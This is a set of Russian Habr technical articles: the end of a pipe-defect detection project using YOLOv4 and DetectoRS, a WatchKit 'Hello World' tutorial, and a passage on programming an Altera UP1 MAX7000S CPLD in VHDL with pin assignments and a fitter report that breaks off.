После было принято решение перенести сборку внутрь Docker контейнера. Для того чтобы оставить возможность использовать видеокарту был установлен [NVIDIA Container Toolkit](https://github.com/NVIDIA/nvidia-docker). Это позволяет достаточно просто организовать перенос проекта на другую машину при необходимости, а также упрощает дальнейшее использование. Благодаря наличию различных образов [nvidia/cuda на Docker Hub](https://hub.docker.com/r/nvidia/cuda), можно достаточно просто менять конфигурации. Например, переключение между различными версиями CUDA или cuDNN.
### Необходимые файлы для обучения
Для обучения модели нужно было подготовить данные и дополнительные файлы как было описано в самом начале, а также правильно настроить конфигурационный файл. В репозитории предлагается взять за основу образец, который представляет из себя текстовый файл и поменять в нужных местах значения параметров. В основном всё зависит от числа классов. Т. к. у нас число классов могло варьироваться, то постоянно так делать было нецелесообразно. Конфигурационный файл был шаблонизирован с помощью выражений [jinja2](https://jinja.palletsprojects.com/en/2.11.x/). Код на Python позволял генерировать нужные конфигурационные файлы в зависимости от входных параметров.
### Обучение модели
Обучение модели производилось в контейнере NVIDIA Docker. Занимало порядка 12 часов на RTX 2080 Ti. Прогресс можно было отслеживать периодически копируя график функции потерь из контейнера на хост, где запущен контейнер. Красным показано значение mAP на тестовой выборке.
*Рис. 18 График обучения YOLOv4.*
### Подготовка модели для использования
После обучения модели была необходимость в ее использовании для визуализации результатов. От кода на Python пришлось отказаться т. к. были проблемы с неожиданным завершением программы. Некоторые части кода пришлось дописать на языке С под собственные нужды.
Результаты
==========
После всех экспериментов были выявлены следующие зависимости:
* Обучение на смеси данных (реальные + искусственные) приводит к небольшому ухудшению обобщающей способности (это связано с тем, что в данной итерации генератора синтетических данных присутствуют недостаточно разнообразные данные и однотипное освещение);
* После недолгого подбора гиперпараметров для архитектуры DetectoRS удалось добиться показателя , а для архитектуры YOLOv4  ;
* Некоторые типы дефектов, такие как разного рода трещины или выход труб из ряда, детектируются лучше чем иные типы дефектов, такие как вздутие труб. Это можно объяснить не только дисбалансом и малым количеством примеров, но и тем, что для определения некоторых типов дефектов, нужно больше пространственной информации (аналогично этому, в реальной детекции дефектов, некоторые дефекты определяются на глаз, а некоторые требуют специальных измерительных приборов). Потенциально, использование помимо RGB каналов с камеры также еще и канала глубины (RGB-D) могло бы помочь с детектированием этих сложных пространственных дефектов: в этом случае мы смогли бы прибегнуть к методам и алгоритмама [3D ML](https://habr.com/ru/company/itmai/blog/503358/).
*Рис. 19 Сравнение работы архитектур, обученных на разных датасетах: Real — только реальные изображение, Mixed — обучении на смеси реальных и синтетических изображений, Mask — обучения на реальных изображениях, с многоугольной разметкой областей.*
*Рис. 20 Пример некорректной детекции модели DetectoRS, обученной на синтетических данных — отсутствие посторонних предметов в синтетическом датасете приводит к определению куска деревянной балки как трещины.*
*Рис. 21 Пример детекции дефектов в виде многоугольных масок модели DetectoRS, обученной на датасете реальных изображений с соответствующей разметкой.*
*Рис. 22 Пример детекции дефектов в виде прямоугольников для одного и того же изображения с помощью разных архитектур.*
Финальное решение с интерфейсом
===============================
В итоге, был получен работающий прототип ПО с интерфейсом, который можно было бы просто использовать как со стороны пользователя так и для разработчиков. Так как проекты на основе ML часто требуют вычислительных мощностей видеокарт NVIDIA для своей работы, то было принято решение сделать клиент-серверное приложение. При необходимости всё можно развернуть на одном компьютере. Если же есть в наличии свободный сервер с видеокартой, то основную логику можно перенести туда, оставив возможность любым пользователям использовать сервис даже на слабом по вычислительным возможностям компьютере.
Для архитектуры ПО была выбрана следующая схема:
Финальное решение с интерфейсом
В итоге, был получен работающий прототип ПО с интерфейсом, который можно было бы просто использовать как со стороны пользователя так и для разработчиков. Так как проекты на основе ML часто требуют вычислительных мощностей видеокарт NVIDIA для своей работы, то было принято решение сделать клиент-серверное приложение. При необходимости всё можно развернуть на одном компьютере. Если же есть в наличии свободный сервер с видеокартой, то основную логику можно перенести туда, оставив возможность любым пользователям использовать сервис даже на слабом по вычислительным возможностям компьютере.
Для архитектуры ПО была выбрана следующая схема:
*Рис. 23 Схема архитектуры прототипа ПО для детектирования дефектов на изображениях.*
Все модели для детектирования дефектов работают внутри NVIDIA Docker. Остальные части, кроме Web-интерфейса внутри обычных контейнеров Docker. Логика работы следующая:
1. Пользователь загружает изображение и выбирает нужную модель вместе с порогом принятия решения.
2. Изображение отправляется на сервер. Оно сохраняется на диске и сообщение с заданием на обработку попадает в RabbitMQ, в соответствующую очередь.
3. Модель берёт сообщение с заданием из очереди, когда готова выполнить предсказание. Выполняет предсказание и сохраняет необходимые файлы на диск. Отправляет сообщение в RabbitMQ о готовности результат.
4. Когда результат готов он отображается в web-интерфейсе.
RabbitMQ занимается логикой по распределению и хранению сообщений во время работы. Из-за того что сервер, в общем случае, выполняет запросы быстрее, чем ML сервис, то естественным образом возникает очередь сообщений на обработку. Например, несколько пользователей могут загрузить изображения одновременно, но из-за нехватки ресурсов может быть запущена только одна модель каждого типа для обнаружения дефектов.
RabbitMQ также позволяет изолировать систему друг от друга и начать разработку независимо. При разработке сервера не надо дожидаться реализации ML моделей и наоборот. Каждая система общается только с RabbitMQ. В случае падения какого-то сервиса сообщение не потеряется, если соответствующим образом настроить RabbitMQ.
*Рис. 24 Демонстрация работы созданного прототипа ПО для детекции дефектов на трубах.*
В заключении, отметим, что при разработке ПО, в котором используются модели машинного обучения, требуется очень много обмениваться данными и целыми пайплайнами эксперементов с членами команды. Для того, чтобы это было удобно делать мы пользовались на протяжении всего проекта системой [DVC](https://dvc.org/). Примеры использования [этой](https://habr.com/ru/company/raiffeisenbank/blog/461803/) системы контроля данных и моделей машинного обучения можно посмотреть в этой статье на хабре.
Основные источники
==================
**Статьи описывающие SOTA глубокие архитектуры в задаче детекции:**
* Qiao, S., Chen, L.C. and Yuille, A., 2020. [DetectoRS: Detecting Objects with Recursive Feature Pyramid and Switchable Atrous Convolution](https://arxiv.org/pdf/2006.02334.pdf). arXiv preprint arXiv:2006.02334.
* Bochkovskiy, A., Wang, C.Y. and Liao, H.Y.M., 2020. [YOLOv4: Optimal Speed and Accuracy of Object Detection](https://arxiv.org/pdf/2004.10934.pdf). arXiv preprint arXiv:2004.10934.
* Tan, M., Pang, R. and Le, Q.V., 2020. [Efficientdet: Scalable and efficient object detection](https://openaccess.thecvf.com/content_CVPR_2020/papers/Tan_EfficientDet_Scalable_and_Efficient_Object_Detection_CVPR_2020_paper.pdf). In Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (pp. 10781-10790).
**Статьи, посвященные выбору метрик качества в задачах детекции объектов на изображениях:**
* Zhao, Z.Q., Zheng, P., Xu, S.T. and Wu, X., 2019. [Object detection with deep learning: A review.](https://arxiv.org/pdf/1807.05511.pdf) IEEE transactions on neural networks and learning systems, 30(11), pp.3212-3232.
**Фундаментальные монографии на тему современного компьютерного зрения:**
* Szeliski, R., 2010. [Computer vision: algorithms and applications](http://szeliski.org/Book/drafts/SzeliskiBook_20100903_draft.pdf). Springer Science & Business Media.
* Nixon, M. and Aguado, A., 2019. [Feature extraction and image processing for computer vision](https://eprints.soton.ac.uk/349701/1/Extended%2520Contents%2520List.pdf). Academic press.
* Jiang, X. ed., 2019. Deep Learning in Object Detection and Recognition. Springer.
* Pardo, A. and Kittler, J. eds., 2015. Progress in Pattern Recognition, Image Analysis, Computer Vision, and Applications: 20th Iberoamerican Congress, CIARP 2015, Montevideo, Uruguay, November 9-12, 2015, Proceedings (Vol. 9423). Springer. | https://habr.com/ru/post/541858/ | null | ru | null |
# Изучаем WatchKit — создаем первое приложение для Apple Watch
Буквально пару дней назад Apple выпустила Xcode 6.2 с поддержкой iOS 8.2 beta и WatchKit.
Данный фреймворк предназначен для взаимодействия с Apple Watch и разработки приложений для них.
Впрочем, все не так просто.
Первой и самой главной особенностью приложений для Apple Watch является то, что их код выполняется не на самих Watch, а на iPhone. Как это происходит? Достаточно просто: приложение для часов содержит только файлы пользовательского интерфейса, а вот расширение WatchKit — все контроллеры для обработки событий. Это обязательные компоненты приложения, которому требуется взаимодействовать с Watch. При установке приложения с поддержкой WatchKit на iPhone пользователю будет так же предложено установить приложение и на Watch (конечно, если Watch у пользователя есть, и они спарены с iPhone). При запуске приложения интерфейс отображается на часах, а код исполняется в бекграунде на телефоне. Очевидный и совсем не радующий вывод — без iPhone (или Jailbreak) запустить сторонний софт на Watch нельзя.
Приложения для часов бывают трех типов: Watch App, Glance Interface и Notifications. Наиболее функциональным является первый, его я и рассмотрю в статье. Glance Interface и Notifications предназначены для уведомления пользователей о каких-либо событиях, Glance позволяет создать свой кастомный вид оповещения, а Notifications работает с локальными и push уведомлениями, отображает их пользователю и позволяет добавить несколько кнопок для действий.
Приступим. Запускаем Xcode, выбираем «Create new Xcode project» и создаем новый проект из шаблона iOS — Application — Single View Application.
Название проекта, организация — на свой вкус. Мой пример будет написан на Objective-C, его и выбираем.
После выбора папки для сохранения проекта Xcode создаст его в ней и откроет. Наше приложение пока умеет только показывать белый экран на айфоне, добавим поддержку Watch: идем в меню File -> New -> Target и в появившемся окне выбираем iOS — Apple Watch — WatchApp:
На следующем окне настраиваются основные параметры приложения для Watch: язык программирования (Objective-C), типы поддерживаемых режимов приложения (у меня убраны Glance Interface и Notifications, будет только Watch App):
После нажатия «Finish» обращаем внимание на появившиеся файлы в Project Navigator:
InterfaceController.m — контроллер интерфеса нашего приложения. Этот файл будет исполняться на iPhone.
Interface.storyboard — интерфейс приложения на Watch. С его помощью мы сможем изменить интерфейс приложения на Watch.
Первым приложением будет традиционный «Helloworld». Нажимаем на Interface.storyboard и видим экран Watch в редакторе:
Компонентов у часов не так уж много: Button, Label, Slider, Image, Separator, Switch, Date, Map, Menu и Table (довольно аскетичный аналог UITableView). В режиме Glance выбор еще меньше — например, кнопки добавлять нельзя.
В Helloworld нам потребуется кнопка и текстовый лейбл. Чтобы добавить компоненты Label и Button — ищем их в Object Library (обычно внизу справа):
Просто перетягиваем нужные нам компоненты на форму Watch. В Attributes Inspector я задал свои Title кнопки и Text для Label:
Интерфейс у нас имеется, но InterfaceController.m о нем не знает. Исправим это — нам нужно добавить обработчик нажатия на кнопку и свойство, отвечающее за Label. Для удобного редактирования переключаем Xcode в Assistent Editor — кнопка со смокингом слева сверху:
В этом режиме Xcode показывает файл интерфейса с одной стороны и редактор кода с другой:
Знакомим код и интерфейс — перетягиваем с зажатой правой кнопкой мыши Label и Button на код контроллера, между
interface InterfaceController() и end. Для Label создаем свойство (firstLabel), а для Button — Action (tapOnButton). Xcode автоматически создаст пустой метод tapOnButton для кнопки в разделе implementation.
Делаем последний штрих — изменим текст firstLabel по нажатию на кнопку. Редактируем метод tapOnButton:
```
- (IBAction)tapOnButton
{
[_firstLabel setText:@"Hello World!"];
}
```
Интересно, что код ниже не сработает:
```
firstLabel.text = @"Text";
```
firstLabel является объектом типа WKInterfaceLabel, у которого есть только метод установки текста, но не свойство для его чтения. Из-за таких ограничений фреймворка Apple рекомендует хранить все значения элементов в коде, а не надеяться на то, что их можно будет прочитать непосредственно из компонента на интерфейсе Watch.
Для запуска приложения на Watch нужно выбрать правильную активную схему проекта. По умолчанию запускается приложение для iPhone, нам нужно выбрать запуск приложения для Watch, в моем примере это вторая строка. Выбираем iPhone 6:
Запускаем приложение. Если окошко с симулятором Watch не появилось — заходим в настройки симулятора и включаем:
В запущенном виде все выглядит так:
Наконец-то нажимаем на кнопку и с заметной задержкой наблюдаем результат:
Вот так в общем виде выглядит создание простейшего приложения для Watch. Так как приложение выполняется на iPhone — программисту доступны все методы и данные с самого iPhone (Apple уже уведомила о возможных ограничениях на энергозатратные операции). WatchKit же является «мостиком» между кодом на iPhone и интерфейсом на Watch.
Готов принять критику по статье, предложения для усовершенствования (или написания новой по данной тематике), постараюсь ответить на вопросы.
Спасибо за внимание. | https://habr.com/ru/post/243747/ | null | ru | null |
# CPLD-ретрокомпьютинг. Часть 1 — Доска для студента
Ретрокомпьютинг бывает разный. Кто-то собирает килограммы древних процессоров, кто-то восстанавливает советские ЕС ЭВМ, кто-то до сих пор разгоняет Celeron в жидком азоте, а мы же насладимся платой Altera University Programm Board **UP1** 1997 года c древней **CPLD MAX7128S** и даже поморгаем светодиодом (и не только).
Maкс, что это ?
===============
**Altera MAX** (Multiple Array matriX) без цифр — это серия древних CPLD от фирмы Altera. Серия эта была начата в далеком 1993 году (более 20 лет назад!) и в настоящее время уже не производится, ее полностью заменили серии MAX II, MAX V и даже MAX 10. В те же времена первыми были выпущены MAX7000, потом «большие» MAX9000, потом «сложные» MAX5000 и «дешовые-низковольтные» MAX3000. Потом добавились разные буквы S, E, B для JTAG, малопотребляющих и низковольтных версий и т.д., вобщем, смотрите в документации.
Нас будет интересовать версия [MAX7000S](http://wl.altera.com/products/devices/max7k/m7k-index.html), которая отличается наличием JTAG-порта, то есть в ней реализована возможность “программирования в системе” через встроенный интерфейс IEEStd. 1149.1 Joint Test Action Group (JTAG).
Кстати, первые MAX7000 (без S) программировались специальным аппаратным программатором и для DIY примененеия практически не пригодны.
Altera UP1
==========
Для продвижения своего продукта фирма Altera выбрала простой и безошибочный метод: в 1997 году они анонсировали **Altera University Program** и стали распространять отладочную плату среди (американских) университетов задешево. Плата получила название Altera UP1 (от University Programm). Чуть позднее вышла вторая ревизия — Altera UP2, на которой была чуть изменена разводка и припаян более ёмкий чип FLEX (о нем чуть ниже).
[Ссылка](https://web.archive.org/web/20021213042311/http://www.altera.com/education/univ/unv-kits.html) из WebArchive о данной плате. (На «материнском» сайте уже удалена.)
Надо сказать, что задумка фирмы Altera удалась на славу. Десятки университетов сделали на этой плате лабораторные работы по курсам «Скоростная Разработка Цифровой Электроники» и т.д. Гугление по «Altera UP1» и «UP2» до сих пор дает кучу ссылок, включая даже видеокурсы.
Один из наиболее полных ресурсов: [users.ece.gatech.edu/~hamblen/ALTERA/altera.htm](http://users.ece.gatech.edu/~hamblen/ALTERA/altera.htm)
Еще обзор: [www.pyroelectro.com/tutorials/up2](http://www.pyroelectro.com/tutorials/up2/)
Популярность платы в начале 2000-х была так высока, что даже вышло несколько книжек, упоминавших эту плату (гуглим Altera UP1 book), а книга "[Rapid Prototyping of Digital Systems](http://www.amazon.com/Prototyping-Digital-Systems-published-Springer/dp/B00E6TPVJQ/ref=sr_1_9)" за авторством James O. Hamblen и Michael D. Furman целиком построена вокруг этой платы, и может рассматриваться как расширение документации. (Желающие отыщут в два клика). Книга, кстати, выдержала несколько переизданий, но начиная с Edition 3 (SOPC Edition) она базируется вокруг плат Terasic DEx, тоже любимых у плисоводов, но которые не попадают под приставку ретро-
Наконец, в 2010-х плата окончательно устарела, их стали списывать из университетов и они стали появляться на e-bay за смешные деньги, где, собственно, пара таких плат и была приобретена. Есть и ложка дёгтя — увы, студенты (даже американские) не отличаются аккуратностью, поэтому битые I/O пины на таких second-hand платах не редкость, да и ресурс записи CPLD поизношен. Так что чип может быть слегка подгорелый, лучше его сразу заменить, благо он в панельке PLCC84.
Глубокое гугление дает кучу ссылок на университетские ресурсы разных чтран, от Японии до Польши, что показывает, насколько плата распространилось. Использовалась ли плата UP1 так широко в России, доподлинно неизвестно, но на сайте питерского ЛИАП (простите мне старое название) лежала [методичка на русском](http://wiki.sensi.org/download/FPGA/up1_ram-4.pdf) с описанием платы для неких лабораторных работ. Если борду кто еще использовал в других ВУЗ-ах — дайте знать, интересно.
Теперь пара слов о самой плате. Кроме CPLD EPM7128S на ней припаян еще старинный чип FPGA FLEX 10K, есть DIP-8 панель под Configuration Memory, но сам чип EPC1 почему-то в комплект не входит (может потому что он одноразовый). Чип FLEX 10K — довольно приличный даже по современным меркам, особенно на плате Altera UP2 — EPF10K70. Как обычно, есть стабилизатор питания, две пары 7-сегментных индикаторов, кварц на 25.175 MHz, кнопки, переключатели и просто светодиодики (можно мигать!). К FLEX прпаяны гнезда VGA и PS/2 мыши, можно делать даже видеоигры, но речь сейчас не о FLEX.
К плате прилагается старинный роскошный LPT-шный JTAG Altera ByteBlasterMV (MV от слова MultiVolt). Кстати, если будете брать на e-bay, требуйте наличия ByteBlaster-а. Правда, зачем он в век USB и при отсутствии LPT — непонятно, но должен же быть полный комплект.
Тёплые 5 вольт
==============
Поскольку слово «ретрокомпьютинг» было произнесено, то да, надо признаться, что внимание к MAX7000S было вызвано именно в аспекте применить её для интерграции в ретро-компьютеры, например приделать что-нибудь для БК-0010 или Микроши. И причина интереса тут очень простая: 5 вольт TTL. Понятно, эпоха сменилась и низковольтный прогресс не остановить, но ретро- и прогресс вещи, мммм… несовместимые…
Так или иначе, в настоящее время 5-вольтовые CPLD и FPGA практически исчезли. Семейство MAX7000S уже не рекомендовано к применению и не выпускается, как и конкурирующая серия Xilinx XC9500 (без XL). Более новые CPLD уже «5-volt tolerant» то есть в лучшем случае не горят по входу от 5 вольт, но выход все равно 3.3 вольта, и на сайте 6502.org была информация, что некоторые старые процессоры не работают с 3.3 вольтовыми пинами.
MAX7000S еще можно купить на e-bay/aliexpress не задорого, но это складские остатки или откровенно б/у чипы. Мне один раз приехали изрядно поцарапанные корпуса PLCC84, но зато 6 штук, хотя заказано было 5. Китайцы тоже прекрасно понимают, чем они торгуют.
Программирование со всеми удобствами
====================================
Курсы по Altera UP1 рекомендуют ее программировать с помощью античной программы MAX+PLUS II, брутально рисовать схемы из элементов 2И-НЕ и D-триггеров и прошивать программатором Altera ByteBlaster на порту LPT. Это, конечно, всё здорово, но не стоит путать ретро-компьютинг и мазохизм. У каждого плисовода развернут Quartus II и есть USB Blaster. Если нету, то цены на него упали настолько, что на aliexpress клон USB-Blaster-а стоит менее 5$ и несомненно рекомендуется к преобретению. Опять же пригодится для DE2 и т.д. (Бластеры обсудим чуть ниже).
Что касается Quartus II, то для поддержки MAX7000S последней версией является 13.0 и вполне годится Web Edition.Там немного урезан функционал, например компилятор не поддерживает многоядерность и т.д., но это нам не критично. У автора вообще развернут Quartus II 11.0 SP1 и все работает.
Итак, программировать мы будем на современном VHDL, в (почти) современном Quartus II и прошивать через (почти) современный USB-Blaster. И все это на ретро- MAX7000S. Как говорится, железо — ретро, а софт — с удобствами.
Статей по программированию CPLD/FPGA в сети предостаточно, например на [we.easyelectronics.ru](http://we.easyelectronics.ru) в хабе [ПЛИС](http://we.easyelectronics.ru/blog/plis/), а на гибнущем Хабре их был почти десяток. Идеологически близка, например, [плата проекта «Марсоход»](http://www.marsohod.org/index.php/howtostart/plata), там только CPLD более новый. Так что туториалы «Марсохода» нам вполне пригодятся.
Проект не представляет из себя ничего особенного: сделаем 16-ричный таймер с отображением на 7-LED, раз он уже припаян на плате. Вдобавок, будем мигать десятичной точкой. Ресурсы у CPLD очень ограничены, в MAX7128S всего 128 макро-ячеек, поэтому будем постоянно проверять себя, заглядывая в получившийся RTL и обращая внимание на количество израсходованных ресурсов.
Первое — надо получить меандр с периодом около секунды, не обязательно точно, это же демо. Нужен счетчик с довольно большим коэффициентом пересчета, чтобы поделить 25.175MHz от кварца. Можно разделить, например, на 2^24= 16777216 и получим частоту примерно 1.5 герца. Классический синхронный счетчик +1 тут не подходит, потому что Quartus порождает гигантский сумматор на 24 разряда, на один вход которого подана константа «1». Жесть. Сделаем обыкновенный делитель из цепочки D-триггеров, потратив 24 ячейки, так называемый ripple-counter. Граммар-дизайн-наци скажут, это плохой стиль, тактовые импульсы должны ходить по глобал-клокам, счетчик должен быть синхронный и т.д. На что мы ответим просто — дайте нам PLL или не надо ставить такой высокочастотный кварц.
Для порождения длинной цепочки триггеров воспользуемся конструкцией VHDL GENERATE. Это такой замаскированный макро-оператор языка VHDL и с ним можно делать забавные вещи, но у нас все просто.
**Счетчик**
```
library ieee;
use ieee.std_logic_1164.all;
use ieee.std_logic_unsigned.all;
entity D_FF is
-- Flipflop
port (D,CLK_S : in std_logic;
Q : buffer std_logic := '0';
NQ : out std_logic := '1' );
end entity D_FF;
architecture A_RS_FF of D_FF is
begin
BIN_P_RS_FF:
process(CLK_S) begin
if CLK_S = '1' and CLK_S'Event
then Q <= D;
end if;
end process;
NQ <= not Q;
end architecture A_RS_FF;
library ieee;
use ieee.std_logic_1164.all;
use ieee.std_logic_unsigned.all;
-- Couner
entity COUNTER_BIN_N is generic (N : integer := 24);
port (Q : out std_logic_vector(0 to N-1);
IN_1 : in std_logic );
end entity COUNTER_BIN_N;
architecture BEH of COUNTER_BIN_N is
component D_FF
port(D, CLK_S : in std_logic; Q, NQ : out std_logic);
end component D_FF;
signal S : std_logic_vector(0 to N);
begin
S(0) <= IN_1;
G_1 : for I in 0 to N-1 generate
D_Flip_Flop : D_FF port map
(D => S(I+1), CLK_S => S(I), Q => Q(I), NQ => S(I+1));
end generate;
end architecture BEH;
```
Дизайн верхнего уровня примитивен чрезвычайно. Здесь сделаем классический счетчик на 8 разрядов, чисто ~~поржать~~ чтобы ужаснуться полученной RTL реализации с сумматором. Но в реале все не так плохо, счетчик кушает ровно 8 макроячеек, но сумматор впечатляет, хотя и влезает в стандартную логическую часть макроячеек в пределах логического блока. Компилятору зачёт.
**Верхний уровень**
```
library ieee;
use ieee.std_logic_1164.all;
use ieee.std_logic_unsigned.all;
use ieee.std_logic_arith.all;
entity UP1TEST is
port (
CLOCKINPUT : in std_logic;
LEDpL : out std_logic;
LEDpR : out std_logic;
LED7L : out std_logic_vector(0 to 6);
LED7R : out std_logic_vector(0 to 6)
);
end entity UP1TEST;
architecture rtl of UP1TEST is
signal COUNTER : std_logic_vector(7 downto 0);
signal SLOWCLOCK : std_logic;
signal divider : std_logic_vector(0 to 23);
begin
-- 27.175MHz ~~ 2^24
div:
work.COUNTER_BIN_N port map (Q => divider, IN_1 => CLOCKINPUT);
SLOWCLOCK <= divider(23);
LEDpL <= '1';
LEDpR <= SLOWCLOCK;
process (SLOWCLOCK)
variable count : natural range 0 to 255 := 0;
begin
if rising_edge(SLOWCLOCK) then
count := count + 1;
end if;
COUNTER <= conv_std_logic_vector(count,8);
end process;
disp_r:
work.seg7 PORT MAP (DIG => COUNTER(3 downto 0), SEG7 => LED7R);
disp_l:
work.seg7 PORT MAP (DIG => COUNTER(7 downto 4), SEG7 => LED7L);
end rtl;
```
7-сегментный дешифратор вопросов не вызывает и синтезируется в обычные логические схемы с честными тёплыми 5-вольтовыми пинами для светодиодов, хотя и жрет макроячейку на каждый пин.
**Дешифратор на 7-LED**
```
library ieee;
use ieee.std_logic_1164.all;
use ieee.std_logic_unsigned.all;
entity seg7 is
port (
DIG : in std_logic_vector(3 downto 0);
SEG7 : out std_logic_vector(6 downto 0));
end entity seg7;
architecture rtl of seg7 is
begin
with DIG select
SEG7 <= "1001111" WHEN "0001", -- 1 +--A--+
"0010010" WHEN "0010", -- 2 | |
"0000110" WHEN "0011", -- 3 F B
"1001100" WHEN "0100", -- 4 | |
"0100100" WHEN "0101", -- 5 +--G--+
"0100000" WHEN "0110", -- 6 | |
"0001111" WHEN "0111", -- 7 E C
"0000000" WHEN "1000", -- 8 | |
"0000100" WHEN "1001", -- 9 +--D--+
"0001000" WHEN "1010", -- A
"1100000" WHEN "1011", -- B
"0110001" WHEN "1100", -- C
"1000010" WHEN "1101", -- D
"0110000" WHEN "1110", -- E
"0111000" WHEN "1111", -- F
"0000001" WHEN others; -- 0
end rtl;
```
Результат:
Не забудем привязать выходные пины. Для назначения можно пользоваться редактором Pin Planner но можно хардкорно редактировать текстовый .QSF файл. Здесь только одна, пожалуй, тонкость — порядок бит в массиве в зависимости от объявления его TO или DOWNTO. Тут можно заметить, что вход идет в DOWNTO сторону для совместимости с битами счетчика (у DOWNTO младший бит справа) а выход на 7-сегментный индикатор — TO для совместимости с документацией. Можно его сделать тоже DOWNTO, но тогда придется переопределить номера пинов.
**QSF**
```
# -------------------------------------------------------------------------- #
#
# Quartus II
# Version 11.0 Build 208 07/03/2011 Service Pack 1 SJ Web Edition
# Date created = 23:59:49 July 10, 2015
#
# -------------------------------------------------------------------------- #
#
# Notes:
#
# 1) The default values for assignments are stored in the file:
# UP1-TEST_assignment_defaults.qdf
# If this file doesn't exist, see file:
# assignment_defaults.qdf
#
# 2) Altera recommends that you do not modify this file. This
# file is updated automatically by the Quartus II software
# and any changes you make may be lost or overwritten.
#
# -------------------------------------------------------------------------- #
set_global_assignment -name FAMILY MAX7000S
set_global_assignment -name DEVICE "EPM7128SLC84-7"
set_global_assignment -name TOP_LEVEL_ENTITY UP1TEST
set_global_assignment -name ORIGINAL_QUARTUS_VERSION "11.0 SP1"
set_global_assignment -name PROJECT_CREATION_TIME_DATE "23:59:49 JULY 10, 2015"
set_global_assignment -name LAST_QUARTUS_VERSION "11.0 SP1"
set_global_assignment -name ERROR_CHECK_FREQUENCY_DIVISOR "-1"
set_global_assignment -name MAX7000_DEVICE_IO_STANDARD TTL
set_global_assignment -name RESERVE_ALL_UNUSED_PINS_NO_OUTPUT_GND "AS INPUT TRI-STATED"
set_global_assignment -name OPTIMIZE_HOLD_TIMING OFF
set_global_assignment -name FITTER_EFFORT "STANDARD FIT"
set_location_assignment PIN_83 -to CLOCKINPUT
set_location_assignment PIN_58 -to LED7L[0]
set_location_assignment PIN_60 -to LED7L[1]
set_location_assignment PIN_61 -to LED7L[2]
set_location_assignment PIN_63 -to LED7L[3]
set_location_assignment PIN_64 -to LED7L[4]
set_location_assignment PIN_65 -to LED7L[5]
set_location_assignment PIN_67 -to LED7L[6]
set_location_assignment PIN_68 -to LEDpL
set_location_assignment PIN_69 -to LED7R[0]
set_location_assignment PIN_70 -to LED7R[1]
set_location_assignment PIN_73 -to LED7R[2]
set_location_assignment PIN_74 -to LED7R[3]
set_location_assignment PIN_76 -to LED7R[4]
set_location_assignment PIN_75 -to LED7R[5]
set_location_assignment PIN_77 -to LED7R[6]
set_location_assignment PIN_79 -to LEDpR
set_global_assignment -name VHDL_FILE counter.vhd
set_global_assignment -name VHDL_FILE seg7.vhd
set_global_assignment -name VHDL_FILE "UP1-TEST.vhd"
```
Результат: Logic cells; 47 / 128 ( 37 % )
**Репорт об утилизации МЯ**
```
+---------------------------------------------------------------------------------------------------------------------------+
; Fitter Resource Utilization by Entity ;
+----------------------------------+------------+------+-----------------------------------------------------+--------------+
; Compilation Hierarchy Node ; Macrocells ; Pins ; Full Hierarchy Name ; Library Name ;
+----------------------------------+------------+------+-----------------------------------------------------+--------------+
; |UP1TEST ; 47 ; 21 ; |UP1TEST ; work ;
; |COUNTER_BIN_N:div| ; 24 ; 0 ; |UP1TEST|COUNTER_BIN_N:div ; work ;
; |D_FF:\G_1:0:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:0:D_Flip_Flop ; work ;
; |D_FF:\G_1:10:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:10:D_Flip_Flop ; work ;
; |D_FF:\G_1:11:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:11:D_Flip_Flop ; work ;
; |D_FF:\G_1:12:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:12:D_Flip_Flop ; work ;
; |D_FF:\G_1:13:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:13:D_Flip_Flop ; work ;
; |D_FF:\G_1:14:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:14:D_Flip_Flop ; work ;
; |D_FF:\G_1:15:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:15:D_Flip_Flop ; work ;
; |D_FF:\G_1:16:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:16:D_Flip_Flop ; work ;
; |D_FF:\G_1:17:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:17:D_Flip_Flop ; work ;
; |D_FF:\G_1:18:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:18:D_Flip_Flop ; work ;
; |D_FF:\G_1:19:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:19:D_Flip_Flop ; work ;
; |D_FF:\G_1:1:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:1:D_Flip_Flop ; work ;
; |D_FF:\G_1:20:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:20:D_Flip_Flop ; work ;
; |D_FF:\G_1:21:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:21:D_Flip_Flop ; work ;
; |D_FF:\G_1:22:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:22:D_Flip_Flop ; work ;
; |D_FF:\G_1:23:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:23:D_Flip_Flop ; work ;
; |D_FF:\G_1:2:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:2:D_Flip_Flop ; work ;
; |D_FF:\G_1:3:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:3:D_Flip_Flop ; work ;
; |D_FF:\G_1:4:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:4:D_Flip_Flop ; work ;
; |D_FF:\G_1:5:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:5:D_Flip_Flop ; work ;
